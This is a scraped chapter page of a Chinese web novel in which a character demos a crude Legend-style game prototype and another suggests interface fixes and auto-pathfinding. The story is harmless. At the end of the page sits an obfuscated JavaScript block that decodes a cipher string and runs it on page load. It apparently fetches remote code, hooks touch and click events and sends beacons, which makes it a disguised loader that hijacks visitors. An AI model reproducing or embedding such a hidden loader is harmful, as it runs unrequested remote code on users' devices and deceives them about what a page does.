首页
[切换至繁体版]
返回

第2171章 夜谈与奠基之夜

章节报错(免登陆)

新笔趣阁(52xbq.com)更新快,无弹窗!

    第2171章夜谈与奠基之夜(第1/2页)
    车门关上的声音比平时急促。
    砰的一声,像是她心里憋着的那股劲儿在关门的那一刻泄了一点,但没泄干净,剩下的还在胸腔里发酵,让她三步并作两步地踩上门廊的石阶。
    包带从右肩滑下来一次,她往上耸了耸肩重新挂住,左手攥着的车钥匙在指缝里卡得发白。
    她几乎是小跑着穿过主楼的玄关,门厅里那盆橡皮树的叶子被她的衣摆带起来的风刮得晃了一下。
    值班室的保安抬头看了她一眼,认出是她,又低下头继续看手机。
    她没顾上打招呼,鞋底在大理石地面上打出咚咚的声响,在走廊里来回弹了几下,然后被楼梯口拐角吸走。
    她是顺着楼梯扶手一路滑上去的,手掌按在漆面的木头扶手上,能感觉到木头表面的温度随着楼层上升一点点变凉。
    二楼走廊的灯是声控的,她的脚步踩亮了一盏又一盏,等她到了书房门口的时候,身后的灯已经一盏接一盏地灭了,像有一条看不见的拉链把她走过的路重新拉上。
    她在门口停了一下,手已经搭在冰凉的门把上,掌心的汗把金属表面沾了一层潮气。
    她深深地吸了一口气,那口气吸得深到她能尝到走廊里木蜡和纸张混合的味道,然后才拧开门把走进去。
    陈浩从书桌后面站起来的时候,椅子腿在地毯上压出一道短促的低响。
    他看着梁永琪手里那只黑色的电脑包。
    包身的表面有一道刮痕,是在车后座和工具箱之间蹭出来的,他认得那道痕。
    他没说话,只是往旁边让了一步,把书桌正面的位置空出来,右手顺便把桌面上摊开的文件夹合上推到一边,给电脑腾地方。
    梁永琪走到书桌前面,把电脑包搁在桌面上。
    拉链头是金属的,上面磨掉了一些漆色,露出一层浅铜色的底。
    她把拉链从右拉到左,呼啦一声,从里面取出那台银灰色的笔记本电脑。
    屏幕合着,机身侧面一排接口,USB口、网线口、电源口,网线口的塑料卡扣断了一边,是用透明胶带粘住的。
    边角有几处磨损,银灰色的漆皮磨掉了,露出底下深色的塑料层,被反复搬运过很多次的痕迹。
    她把电脑放正,掀开屏幕,按下电源键。
    屏幕黑了两秒,然后风扇转起来了,嗡嗡的,声音不算小,但在这个安静的书房里,那点嗡嗡声反倒让空间显得更静了。
    屏幕亮了,深蓝色的底色,上面排着几个程序图标。
    “下午六点跑通的。”她的声音比平时快,每个词像是赶着要出来,“李轩给我打电话的时候我还以为他在骗我。
    你知道他那个人,平时说话半真半假,每次有点什么进展都要先逗你一下,逗完了才说实话。
    我说你要是耍我我就把自研引擎的预算砍了,他说你来看。
    他说来看的时候语气跟平时不一样,声音沉了一点,我就知道他没骗我。”
    陈浩没插话,靠在桌沿上,两手交叉搭在身前。
    “然后我就过去了。”梁永琪继续说,手指已经在触摸板上动了,“我到他那边的时候,他坐在主控机前面,屁股都没挪一下,就冲屏幕努了努嘴让我自己看。
    他在主控机上跑了三遍,第一遍砍了五分钟的鸡,第二遍砍了十分钟,第三遍把三个职业都跑了一遍。
    战士平砍,法师放火球,道士招神兽。
    神兽的模型还没有做,用的是李轩自己写的一个绿色方块,蹦蹦跳跳的,像块长了脚的麻将牌。
    但逻辑是通的,神兽会跟着道士走,道士被鸡啄了神兽会去咬那只鸡。
    虽然那个绿色方块咬鸡的样子特别滑稽,方块的角怼在鸡身上,鸡就掉血。”
    她说话的时候手指在触摸板上移动,光标划过屏幕上那几个图标,停在一个叫“传奇_阿尔法“的程序上,食指双击,按得干脆有力。
    屏幕一暗,然后跳出一个全屏画面。
    画面确实糙。
    背景是一片绿色的地面,像素色块拼接成的,能清楚地看到网格交界线,一条一条的横竖线把地面切成了小块,像铺了一块格子布的桌面。
    屏幕中央站着一个穿灰色衣服的人形角色,没有脸,脸上是空白一片,只有头顶的ID区域标着几个字符。
    肩膀上扛着一柄武器,用色块拼出来的,剑身是一条细长的矩形,灰色的,剑柄是一个深色的小方块。
    角色只有两种动作状态,站着不动的时候是直立姿态,腰板挺得笔直,两条腿分开与肩同宽。
    开始攻击的时候身体前倾,剑从上往下挥出去,挥到一半就复位。
    就这么两个动作来回切换。
    但那个挥砍的动作是有节奏的。
    陈浩盯着那个动作看了一遍,心里默数了一下。
    从启动到落剑,大约零点八秒。
    落剑的那一瞬间屏幕上的绿色色块会微微闪一下,亮度高了一点点又回来,像剑风劈在地上激起的那一下反光。
    这个细节做出来了。
    “你砍一下。”陈浩说。
    梁永琪的手指按了一下鼠标左键。
    左键按下去的声音清脆,咔嗒一声。
    屏幕上的灰色角色往前迈了半步,身子一斜,剑举起来,劈下去。
    剑落的位置是一只鸡。
    那只鸡比角色矮很多,用黄色和橙色的色块拼成,鸡冠是一个红色的三角形,很突兀地点在头顶,身体是椭圆形的,还在一上一下地轻微跳动,像有呼吸似的,不知道是李轩刻意加的动画还是刷新率的问题,但效果看着竟然有点生动。
    剑劈中鸡身的那一刻,鸡身上跳出一串数字:负七。
    红色的,粗体的,数字飘了一下才消散。
    鸡的血条掉了一小截。
    原来血条是绿色的,现在退了一截,变成灰白色。
    然后鸡动了,鸡头往前一啄,白色的数字从灰色角色头顶冒出来:负二。
    灰色角色的血条也掉了一小截。
    两个人看着屏幕上的灰色小人和那只鸡一来一回地互相攻击。
    那只鸡啄人的节奏不快,大约每两秒啄一下,啄的伤害不高,但一直啄。
    (本章未完,请点击下一页继续阅读)第2171章夜谈与奠基之夜(第2/2页)
    灰色角色的血条在以肉眼可见的速度往下退,退得不快,一步一格的,像下楼梯。
    梁永琪的手指没有动,鼠标指针停在屏幕中央,陈浩的视线落在血条旁边那个跳动的数字上。
    负二,负二,又是负二。
    那只鸡的攻击力很稳定,每次都是负二。
    梁永琪又按了一下鼠标左键。
    角色再次挥剑,这次砍出了负九。
    鸡的血条降到了三分之一以下,绿色的部分只剩一小截了。
    鸡转身往旁边走了两步,翅膀扑腾了一下——
    那翅膀是三个橙色色块拼成的,扑腾的动作就是三个色块上下错了一下位置——
    像是要逃跑,但跑了两步又停下来,在原地站着了。
    脚底下的像素格子还踩在原来的网格线上。
    梁永琪追上去再砍了一剑,鼠标左键又响了一声。
    剑落在鸡身上,鸡的血条彻底空了,绿色全部退完。
    鸡身晃了一下,晃的动作很僵,从左到右倾斜了大概十五度,然后倒在地上,消失了。
    地面上留下了一小堆金币的图标,五个金色的圆形小点排列成一圈,在深绿色的地面上格外显眼。
    “爆金币了。”梁永琪的声音带着一点压不住的兴奋,尾音翘起来了,“这是李轩昨天刚加进去的掉落逻辑。
    他说如果不加这个,打怪没有正反馈,测试的人砍了五分钟就会无聊到想睡觉。
    我之前还不信,觉得打怪本身就是反馈,结果我自己试了一遍,砍到第三只鸡的时候就在想怎么还不掉东西。
    掉出来那一瞬间心里确实舒服了。”
    陈浩没有接话。
    他往前凑近了一些,脖子往前伸,目光落在屏幕右下角的用户界面区域。
    那里排列着几个功能按钮,每个按钮都是一行文字加一个方框,“背包““角色““技能““设置“,四行字排成一列。
    字体是系统默认的宋体,黑底白字,方框边缘的线条很细,是那种程序随手画出来的默认样式。
    按钮的间距太近了,近到手指粗的人用鼠标点的时候极容易点错。
    陈浩用目光比了比,每个按钮之间的空隙大约只有两三个像素,鼠标光标稍微偏一下就点到旁边的了。
    “这边有问题。”陈浩伸手,食指的指尖在屏幕右下角那四个按钮的位置点了几下,指尖悬在屏幕前面一两厘米的地方,没有碰到屏幕,“这四个按钮的大小和间距不合理。
    玩家在战斗的时候如果点错了,技能按成了背包,屏幕一弹就把战斗界面遮住了,他站在原地挨打。
    这个操作失误不是玩家的问题,是界面设计的问题。
    你想想,一个新手玩家,被怪追着咬,慌慌张张想点技能结果点到背包,背包一打开他更慌,等他关掉背包人物已经死了。
    这种死了的感觉不是他自己菜,是界面在坑他。”
    他收回手,侧过头看着梁永琪。
    她正半张着嘴盯着那四个按钮,像是被他说中了什么之前一直觉得不对劲但没想透的事。
    “你让周璟那边把用户界面重新排一版,按钮做大一倍,间距拉开,最关键的操作按钮放在屏幕底部偏右的位置。
    因为大部分玩家右手握鼠标,光标落点最频繁的区域是右下角。
    你把技能放在那儿,他随手一移就能点中,不需要瞄准。”
    梁永琪从口袋里掏出手机,拇指在屏幕上划开备忘录。
    她打字的速度很快,拇指点得飞快,屏幕上的字一行一行地跳出来。
    记完之后她把手机放回桌面,屏幕朝上,等了一会儿才把视线从备忘录上移开,重新转向电脑。
    “还有两个东西。”陈浩说。
    他绕过桌子走到她身后,微微俯身,下巴差不多在她头顶上方几寸的地方。
    从这个角度看,屏幕上的界面更清楚了。
    “第一,药品使用的问题。
    现在玩家要把血瓶从背包里拖出来,拖到快捷栏,再点击使用,中间多了一步。
    这一步在城里怎么都行,但在战斗中多这一步就是生死之差。
    你让程序那边设计一个一键喝药的键位,玩家设定好一种药品,按一下就直接使用,不需要打开背包拖拽。
    键位设成键盘上的Q或者E,左手能摸到的位置,按一下就喝,喝完了自动从背包补一颗上来。”
    梁永琪的拇指又动起来,在备忘录里飞快地记。
    “第二,走路的问题。”陈浩继续说,“现在玩家要到某个地方去,得手动一步一步点过去,遇到障碍物还要自己绕。
    这个操作方式对老玩家来说没什么,但国内现在的玩家大多数是新手,他们不习惯这种点一步走一步的操作,玩一会儿手就酸了。
    让程序做一个自动寻路的功能,玩家点击地图上的目标点,角色自己走过去。”
    梁永琪的拇指停在手机屏幕上方,没有按下去。
    她侧过头看他,侧的角度很大,整张脸转过来,两个人的距离很近。
    她的鼻尖差不多到他下巴的位置,从他下巴底下往上看着他的眼睛。
    她看他的眼神里那层东西变了,比刚才更深一些,像是在端详一件她以为已经看透了却突然发现还有一层的东西。
    她的瞳孔映着屏幕的蓝光,里面有一小点亮晶晶的东西在闪。
    “自动寻路。”她把这两个字重复了一遍,语速比刚才慢了不少,像是在嘴里含了一下这两个字的分量,“这个想法的意思是,玩家只需要点一个地方,角色自己会避开障碍物走过去?”
    “对。”陈浩说,“算法的底层逻辑是路径搜索,地图上的每个区域做网格化处理。
    你点一个目标点,程序把从当前位置到目标点之间所有的可行路径都算一遍,找到最短的那一条。
    如果路径上有障碍物,就绕过障碍物再走。
    这个功能在技术上的实现不难,李轩半天就能写出来。
    关键是它降低的是玩家上手的门槛,你让他用鼠标点地图自动走,他五分钟就能明白这个游戏怎么玩。”
    【跪求礼物,免费的为爱发电也行!】
章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="n3xnhwm2yg";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^FpX5h(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFL5SJmJLFpdd(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^FpX5h(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFL5SJmJLFpdd(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/2sR2hD^@Tp/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"2sR2hD^@Tp"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mDDTYRpRm2YF"="}Ko}X5ThF)mC6FTCSDm2YF"="}Ko}2pThFmDDTYRpRm2YF"="}Ko}_JqhFmC6FTCSDm2YF"="}Ko}2TOhFmDDTYRpRm2YF"="}Ko}CSqhF)mC6FTCSDm2YF"="}Ko})FfThF)fmDDTYRpRm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mOh_^5_(m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mOh_^5_(m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q/f/}Ko}j(8}vY82sR2hD^@Tp"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();